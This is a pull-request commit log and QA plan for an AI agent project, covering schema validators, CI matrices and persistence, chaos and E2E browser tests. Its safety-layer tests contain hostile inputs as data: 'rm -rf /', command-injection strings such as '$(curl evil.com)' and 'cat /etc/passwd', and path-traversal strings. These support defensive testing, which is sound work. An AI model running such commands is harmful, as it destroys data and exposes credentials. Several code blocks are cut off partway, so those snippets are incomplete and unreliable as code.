Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage (#353)

* Add automated QA: tool schema validator, feature-flag CI matrix, Docker build

P0 items from the automated QA plan (#352):

- Add validate_tool_schema() that checks OpenAI strict-mode rules
  (type: object, required keys in properties, nested object/array
  recursion) with 10 unit tests and 6 integration tests covering
  all core built-in tools

- CI test matrix now runs with --all-features, default features, and
  --no-default-features --features libsql to catch dead code behind
  wrong cfg gates

- CI clippy now runs the same 3-feature matrix with --all flags

- Docker build job added to catch missing files in Dockerfile

* Add P1 automated QA tests and fix LeakDetector prefix shadowing bug

P1 test coverage: config round-trip (settings + bootstrap), shell tool
arg handling, safety adversarial tests (sanitizer, leak detector,
allowlist), turn persistence (conversations, metadata, pagination, jobs),
and a clippy fix for libsql-only builds.

Fixed a real bug where AhoCorasick non-overlapping prefix iteration
caused shorter prefixes (e.g. "sk-") to shadow longer ones
(e.g. "sk-ant-api"), preventing Anthropic API key and SSH private key
detection.

* Add P2 automated QA tests: chaos, lifecycle, collision, and recovery

Cover all P2 items from the automated QA plan:
- Circuit breaker chaos tests (hanging provider, rapid cycles, mixed errors)
- Failover chaos tests (hanging failover, all-fail, tools path, single provider)
- Value estimator boundary tests (negative cost, zero price, zero earnings)
- Context length recovery test (ContextLengthExceeded -> compact -> retry)
- WASM channel lifecycle tests (write/commit/read round-trip, namespace isolation)
- Extension registry collision tests (same-name different-kind coexistence)
- Extension filesystem collision tests (separate dirs, detect_kind priority)

* Add P3 concurrent stress tests for ContextManager and SessionManager

Tests verify thread safety of double-checked locking, TOCTOU
prevention, and RwLock-based concurrent access patterns under load.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add dispatcher loop guard and self-repair stuck job tests

Dispatcher: test force_text mechanism prevents infinite tool call loops,
verify iteration bound arithmetic guarantees termination for all configs.

Self-repair: test stuck job detection, recovery within attempt limits,
manual escalation when limit exceeded, graceful degradation without
store/builder dependencies.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure design doc

Python + Playwright framework with mock LLM server for deterministic
browser-level testing of the web gateway. Covers connection/auth,
chat round-trip with SSE streaming, and skills lifecycle scenarios.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure implementation plan

10-task plan covering: scaffolding, mock LLM server, helpers,
conftest fixtures, connection/chat/skills test scenarios,
CI workflow, README, and integration run.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* scaffold: E2E test project with pyproject.toml

* docs: E2E test README with setup and usage instructions

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test integration fixes from first run

- Use temp file DB instead of :memory: (libSQL :memory: doesn't persist
  tables across execute_batch)
- Fix installed skills selector: #skills-list not #installed-skills
- Add pytest-timeout to dependencies
- Improve skills install/remove test with wait_for instead of fixed sleeps

8 passed, 1 skipped (skills install depends on ClawHub availability)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add OpenAI strict-mode schema validator for all built-in tools (QA 1.1)

Add src/tools/schema_validator.rs with validate_strict_schema() that checks
tool parameter schemas against OpenAI function calling strict-mode rules:
type object at top level, required keys in properties, enum type consistency,
array items definitions, nested object recursion, and additionalProperties.

17 tests validate all 34+ built-in tool schemas across 5 test groups:
- 9 simple tools (echo, time, json, http, shell, file read/write/list/patch)
- 4 job tools (create, list, status, cancel)
- 4 skill tools (list, search, install, remove)
- 13 inline schemas for extension, routine, and complex job tools
- 4 memory tool schemas

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add E2E scenarios for SSE reconnect, HTML injection, and tool approval (QA 3.3/5/6)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test reliability for HTML injection and SSE reconnect

- HTML injection: test sanitization directly via JS injection instead of
  depending on full LLM round-trip (avoids intermittent 404 from mock)
- SSE reconnect: increase wait times for DB persistence and relax
  assertion to check total message count after history reload

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt formatting

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add WASM and MCP tool schema validation tests (QA 1.1)

Extends the schema validator with representative WASM tool schemas
(weather, HTTP client, batch processor, status), MCP tool schemas
(default, file read, SQL query, strict mode), and defect detection
tests for common external schema issues (missing type, typo in
required, array without items, enum type mismatch).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add auth middleware and compaction module tests

Auth middleware (8 new tests): valid/invalid bearer tokens, query param
fallback, case sensitivity, empty tokens, whitespace handling.

Compaction module (16 new tests): truncation strategy, summarize strategy
with mock LLM, workspace fallback, format_turns helper, sequential
compactions, coherence after compaction, token decrease verification.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add config round-trip integration tests (QA 1.2)

Test the full bootstrap .env lifecycle: write via the same format
as save_bootstrap_env/upsert_bootstrap_var, read back via dotenvy,
and assert values match. Covers LLM backend selection, embedding
disable flag, onboard completion flag, session token keys, multi-key
preservation across upsert, and special characters (spaces, equals,
quotes, backslashes, hashes).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add value estimator boundary tests and dispatcher loop guard (QA 4.3/4.4)

Value estimator (14 new tests): zero/negative prices, large values,
negative cost, exact margin boundaries, custom margin configuration.

Dispatcher loop guard (2 new tests): verifies the dispatch loop terminates
when all tool calls fail (regression guard for PR #252 infinite loop)
and when max iterations are reached.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add failover edge cases and provider chaos tests (QA 2.6/4.1)

Failover edge cases (4 new tests): cooldown at zero nanos, half-open
failure reopens circuit, all providers fail gracefully (no panic),
single failing provider with cooldown.

Provider chaos tests (15 new tests): flakey provider with retries,
hanging provider with timeout, garbage provider, circuit breaker
trip/recover, failover chain cascading, non-transient error stops
chain, full stack integration (retry + failover + circuit breaker).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback on QA tests

- Fix Bearer auth case-sensitivity per RFC 6750 (auth.rs)
- Refactor bootstrap.rs to expose path-parameterized variants so
  config_round_trip tests call real code instead of reimplementations
- Remove deprecated event_loop fixture, use dynamic ports, minimal env,
  session-scoped browser, and wire HEADED=1 in E2E conftest
- Add cross-referencing doc comments between schema validators
- Simplify array validation logic in tool.rs
- Bump e2e.yml checkout@v4 to @v6

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt and fix clippy warning in signal.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: improve E2E fixture error reporting and prevent stdin blocking

- Add --no-onboard flag to prevent wizard from blocking in CI
- Pipe /dev/null to stdin to prevent any stdin reads from hanging
- Add RUST_BACKTRACE=1 for crash diagnostics
- On server startup timeout, dump stderr to pytest output so CI
  logs show why the server failed to start

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set session-scoped event loop for E2E async fixtures

pytest-asyncio 1.3.0 defaults asyncio_default_fixture_loop_scope to
None (function scope), causing session-scoped async fixtures to be
re-evaluated per test function with independent event loops. Each test
then independently attempts to start the ironclaw server, times out
at 120s, and wastes ~24 minutes of CI before the job is cancelled.

Setting asyncio_default_fixture_loop_scope = "session" ensures all
session-scoped async fixtures share a single event loop, so the server
starts once and is reused across all tests.

Also adds -x flag to pytest in CI to stop on first failure instead of
running all 19 tests when the fixture is broken.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set test loop scope to session to match fixture loop scope

With asyncio_default_fixture_loop_scope=session but
asyncio_default_test_loop_scope=function (the default), tests run on
a per-function event loop while fixtures produce objects (Playwright
pages, browser contexts) on the session event loop. This event loop
mismatch causes the test to hang indefinitely awaiting Playwright
operations that are bound to the wrong loop.

Setting both scopes to "session" ensures a single event loop is shared
across all fixtures and tests, eliminating the deadlock.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add roll-up jobs to match branch protection required checks

Branch protection expects "Code Style (fmt + clippy)" and "Run Tests"
status checks, but only individual job names were reported. Add
roll-up jobs that aggregate results and report the expected names.

# Automated QA Plan for IronClaw
**Date:** 2026-02-24
**Status:** Draft
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
---
## Motivation
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
| Category | Examples | Root Cause |
|----------|----------|------------|
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
---
## Tier 1: Schema & Contract Tests
**Cost:** Low (pure Rust tests, no infrastructure)
**Timeline:** Can land incrementally, one PR per sub-task
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
### 1.1 Tool Schema Validator
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
- Top-level has `"type": "object"`
- Every key in `"required"` exists in `"properties"`
- Every property has a `"type"` field
- No `additionalProperties` unless explicitly set
- Nested objects follow the same rules recursively
```rust
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
#[test]
fn all_tool_schemas_are_openai_strict_valid() {
let registry = ToolRegistry::new();
register_all_builtins(&mut registry);
for tool in registry.all_tools() {
let schema = tool.parameters_schema();
validate_strict_schema(&schema, &tool.name())
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
}
}
```
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
### 1.2 Config Round-Trip Tests
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
Cover the specific bugs found:
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
- Session token stored under `nearai.session_token` (not `nearai.session`)
```rust
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
// Simulate restart: load from env file
dotenv::from_path(&env_path).unwrap();
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
}
```
**Files:** New `tests/config_round_trip.rs`
### 1.3 Feature-Flag CI Matrix
The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
Add a CI matrix:
```yaml
# .github/workflows/test.yml
strategy:
matrix:
features:
- "--all-features"
- "" # default features only
- "--no-default-features --features libsql"
steps:
- name: Run Tests
run: cargo test ${{ matrix.features }} -- --nocapture
```
Update `code_style.yml` to also run clippy with `--all-features`:
```yaml
- name: Check lints (all features)
run: cargo clippy --all-features -- -D warnings
- name: Check lints (libsql only)
run: cargo clippy --no-default-features --features libsql -- -D warnings
```
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
### 1.4 Docker Build in CI
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
```yaml
# .github/workflows/test.yml - new job
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
```
**Files:** Modify `.github/workflows/test.yml`
---
## Tier 2: Integration Tests
**Cost:** Medium (needs test harnesses, possibly testcontainers)
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
### 2.1 Test Harness: In-Memory Database Backend
Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
```rust
// src/testing.rs
pub async fn test_db() -> impl Database {
let backend = LibSqlBackend::open_in_memory().await.unwrap();
backend.run_migrations().await.unwrap();
backend
}
```
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
### 2.2 Turn Persistence Tests
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
```rust
#[tokio::test]
async fn approved_tool_call_persists_turn() {
let db = test_db().await;
let mut agent = TestAgent::new(db);
// Create a turn with a pending tool call
agent.submit("search for cats").await;
// Simulate tool approval
agent.approve_tool_call(0).await;
// Verify turn is in DB (not just in memory)
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
assert!(turns.iter().any(|t| t.has_tool_result()));
}
```
Cover:
- Approved tool call with successful result
- Approved tool call with error result
- Approved tool call requiring auth
- Deferred tool call with auth
- User message persisted before agent loop starts (not after)
**Files:** New `tests/turn_persistence.rs`
### 2.3 WASM Channel Lifecycle Tests
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
```rust
#[tokio::test]
async fn wasm_channel_workspace_writes_are_flushed() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Simulate a callback that writes workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// Verify writes were captured
let writes = wrapper.take_pending_writes();
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
}
#[tokio::test]
async fn wasm_channel_workspace_read_returns_prior_writes() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Inject workspace data
wrapper.inject_workspace_entry("polling_offset", b"12345");
// Simulate a callback that reads workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// The channel should have used the injected offset (not 0)
// Verify by checking the getUpdates call offset parameter
}
```
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
### 2.4 Extension Registry Collision Tests
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
```rust
#[tokio::test]
async fn channel_and_tool_with_same_name_dont_collide() {
let registry = TestRegistry::new();
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
assert!(registry.tools_dir().join("telegram").exists());
assert!(registry.channels_dir().join("telegram").exists());
// Both resolve independently
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
}
```
**Files:** New `tests/registry_collision.rs`
### 2.5 Shell Tool Realistic Arg Tests
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
```rust
#[tokio::test]
async fn destructive_command_blocked_with_object_args() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "rm -rf /"
});
// This is how the LLM actually sends args -- as an Object, not a String
let result = shell.execute(params, &test_context()).await;
assert!(result.is_err() || result.unwrap().contains("blocked"));
}
```
Also test pipe deadlock prevention with large output:
```rust
#[tokio::test]
async fn shell_handles_large_output_without_deadlock() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
});
let result = tokio::time::timeout(
Duration::from_secs(10),
shell.execute(params, &test_context())
).await;
assert!(result.is_ok(), "shell tool deadlocked on large output");
}
```
**Files:** Extend `src/tools/builtin/shell.rs` tests
### 2.6 Failover and Circuit Breaker Edge Cases
```rust
#[test]
fn cooldown_activation_at_zero_nanos() {
let mut cooldown = ProviderCooldown::new();
// Edge case: if system clock returns 0 (or test mock does)
cooldown.activate_cooldown(0);
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
}
#[tokio::test]
async fn failover_with_all_providers_failing() {
let failover = FailoverProvider::new(vec![
always_failing_provider("a]"),
always_failing_provider("b"),
]);
let result = failover.chat(&[]).await;
assert!(result.is_err());
// Must not panic (the old .expect() bug)
}
```
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
### 2.7 Context Length Recovery Test
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
```rust
#[tokio::test]
async fn context_length_exceeded_triggers_compaction() {
let mut agent = TestAgent::with_provider(
ContextLimitMockProvider::new(fail_after_n_turns: 3)
);
// Send enough messages to trigger context limit
for i in 0..5 {
agent.submit(&format!("message {i}")).await;
}
// Agent should have compacted and continued, not errored
assert!(agent.last_response().is_ok());
assert!(agent.compaction_count() > 0);
}
```
**Files:** New `tests/context_recovery.rs`
---
## Tier 3: Computer-Use E2E Testing
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
### 3.1 Architecture
```
+------------------+ +-----------------+ +------------------+
| Test Runner | | Headless | | IronClaw |
| (Python/TS) |---->| Chromium |---->| (cargo run) |
| | | (Playwright) | | GATEWAY=true |
| Orchestrates | | | | port 3001 |
| scenarios | | Screenshots | | |
+--------+---------+ +--------+--------+ +------------------+
| |
v v
+------------------+ +-----------------+
| Claude | | Assertion |
| Computer Use | | Engine |
| API | | (visual + |
| (screenshot → | | DOM-based) |
| action) | | |
+------------------+ +-----------------+
```
**Components:**
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
4. **Assertion engine** -- Hybrid approach:
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
### 3.2 Test Infrastructure Setup
**Directory structure:**
```

### 3.3 Test Scenarios
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
#### Scenario 1: Connection and Tab Navigation
```python
async def test_connection_and_tabs(browser_agent):
"""Bugs: #306 (orphan threads on null threadId during page load)"""
observations = await browser_agent.execute_scenario("""
1. Look at the page. Verify there is a "Connected" indicator visible.
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
3. For each tab, verify the panel content changes and no error messages appear.
4. Return to the Chat tab.
5. Report what you see for each tab.

```
#### Scenario 2: Chat Message Round-Trip
```python
async def test_chat_sends_and_receives(browser_agent):
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
observations = await browser_agent.execute_scenario("""
1. Click on the chat input box at the bottom.
2. Type "Hello, what is 2+2?" and press Enter.
3. Wait for the assistant to respond (you should see a streaming response).
4. Verify the assistant's response appears below your message.
5. Report the assistant's response.
""")
page = browser_agent.page
# At least 2 messages: user + assistant
messages = await page.locator(".message").count()
assert messages >= 2
# No error toasts
assert await page.locator(".toast.error").count() == 0
```
#### Scenario 3: SSE Reconnect
```python
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
page = browser_agent.page
# Step 1: Send a message

assert msg_count_after >= msg_count_before, \
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
```
#### Scenario 4: Skills Search, Install, Remove
```python
async def test_skills_lifecycle(browser_agent):

# Override confirm() to auto-accept
await browser_agent.page.evaluate("window.confirm = () => true")

""")
# Final state: no installed skills (we removed what we installed)
page = browser_agent.page
await page.click('[data-tab="skills"]')
# Should not have the test skill installed
```
#### Scenario 5: HTML Injection Defense
```python
async def test_html_injection_sanitized(browser_agent):
"""Bug: #263 (HTML error pages injected into UI, still open)"""
# This requires a mock LLM that returns HTML in tool output
# or we craft a message that triggers tool output containing HTML

#### Scenario 6: Tool Approval Overlay
```python

"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
observations = await browser_agent.execute_scenario("""
1. Type "Run the shell command: echo hello world" in chat and press Enter.
2. If an approval dialog appears, click "Approve" or "Allow".
3. Wait for the result.
4. Verify the output includes "hello world".
5. Report what you see.
""")
```
#### Scenario 7: Onboarding Wizard (Full Flow)
```python
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
# Start ironclaw with a fresh home directory (no prior config)
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
# if/when one exists. For now, test the CLI wizard via expect-style automation.
proc = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=60,
)
# Step through wizard
proc.expect("Welcome to IronClaw")
proc.expect("LLM Backend")
proc.sendline("1") # Select first option
# ... continue through all 7 steps ...
proc.expect("Setup complete")
proc.close()
# Restart and verify wizard does NOT re-trigger
proc2 = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=30,
)
proc2.expect("Agent ironclaw ready") # Should skip wizard
# Must NOT see "Welcome to IronClaw" again
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
proc2.close()
```
### 3.4 LLM Backend for E2E Tests
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
Recommendation: Start with local Ollama for development, mock LLM server for CI.
### 3.5 CI Integration
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * *" # Daily at 6 AM UTC

## Tier 4: Chaos and Resilience Testing
**Cost:** Medium (needs mock providers, time-control utilities)
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
### 4.1 LLM Provider Chaos
Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
```rust
/// Provider that fails N times then succeeds
struct FlakeyProvider { failures_remaining: AtomicU32 }
/// Provider that returns ContextLengthExceeded after N messages
struct ContextBombProvider { threshold: usize }
/// Provider that hangs forever (tests timeout handling)
struct HangingProvider;
/// Provider that returns malformed JSON
struct GarbageProvider;
```
**Test scenarios:**
| Scenario | Setup | Expected |
|----------|-------|----------|
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
| Malformed response | GarbageProvider | Error logged, retry or failover |
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
### 4.2 Concurrent Job Stress Test
Submit many jobs simultaneously and verify no state corruption:
```rust
#[tokio::test]
async fn concurrent_jobs_dont_corrupt_state() {
let db = test_db().await;
let agent = TestAgent::new(db);
// Submit 20 jobs concurrently
let handles: Vec<_> = (0..20)
.map(|i| {
let agent = agent.clone();
tokio::spawn(async move {
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
})
})
.collect();
let results: Vec<_> = futures::future::join_all(handles).await;
// All should complete (some may error, none should panic)
for result in &results {
assert!(result.is_ok(), "job panicked: {:?}", result);
}
// Verify no cross-contamination in contexts
let jobs = agent.db().list_jobs().await.unwrap();
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
}
```
**Files:** New `tests/concurrent_jobs.rs`
### 4.3 Dispatcher Infinite Loop Guard
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
```rust
#[tokio::test]
async fn dispatcher_terminates_when_hook_rejects() {
let dispatcher = TestDispatcher::new();
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
let result = tokio::time::timeout(
Duration::from_secs(5),
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
).await;
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
}
```
**Files:** Extend `src/agent/dispatcher.rs` tests
### 4.4 Value Estimator Boundary Tests
```rust
#[test]
fn is_profitable_with_zero_price() {
let estimator = ValueEstimator::new();
// Must not panic (was a divide-by-zero before PR #139)
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
assert!(!result);
}
#[test]
fn is_profitable_with_negative_cost() {
let estimator = ValueEstimator::new();
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
// Negative cost = always profitable
assert!(result);
}
```
**Files:** Extend `src/estimation/value.rs` tests
### 4.5 Safety Layer Adversarial Tests
Test the safety layer with adversarial inputs that have caused real bypasses:
```rust
#[test]
fn path_traversal_in_wasm_allowlist() {
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
// Must be blocked: path traversal before normalization
assert!(!allowlist.allows("api.example.com/v1/../admin"));
assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
}
#[test]
fn shell_env_scrubbing_removes_secrets() {
let env = scrubbed_env();
assert!(!env.contains_key("OPENAI_API_KEY"));
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
assert!(!env.contains_key("DATABASE_URL"));
// Safe vars preserved
assert!(env.contains_key("PATH"));
assert!(env.contains_key("HOME"));
}
#[test]
fn leak_detector_catches_api_keys_in_output() {
let detector = LeakDetector::default();
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
let result = detector.scan(output);
assert!(result.has_leaks());
}
#[test]
fn sanitizer_blocks_command_injection() {
let sanitizer = Sanitizer::new();
let inputs = vec![
"hello; rm -rf /",
"$(curl evil.com)",
"hello\n`whoami`",
"test && cat /etc/passwd",
];
for input in inputs {
let result = sanitizer.sanitize(input);
assert_ne!(result, input, "injection not caught: {input}");
}
}
```
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`

## Open Questions
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.

# E2E Testing Infrastructure Design
**Date:** 2026-02-24
**Status:** Approved
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
---
## Decisions
| Decision | Choice | Rationale |
|----------|--------|-----------|
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
---
## Architecture
```
pytest
|
+----------+-----------+
| |
mock_llm.py ironclaw binary
(canned responses) (cargo build --features libsql)
127.0.0.1:{port} 127.0.0.1:{port}
| |
+----------+-----------+
|
Playwright
(headless Chromium)
DOM assertions
```
**Flow:**
1. pytest session starts
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
3. Session-scoped fixture starts mock LLM on OS-assigned port
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
6. Each test uses Playwright locators + DOM assertions
7. Teardown kills ironclaw and mock LLM

```
---
## Mock LLM Server
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
**Endpoint:** `POST /v1/chat/completions`
**Behavior:**
- Parses the `messages` array from the request body
- Pattern-matches the last user message content to select a canned response
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
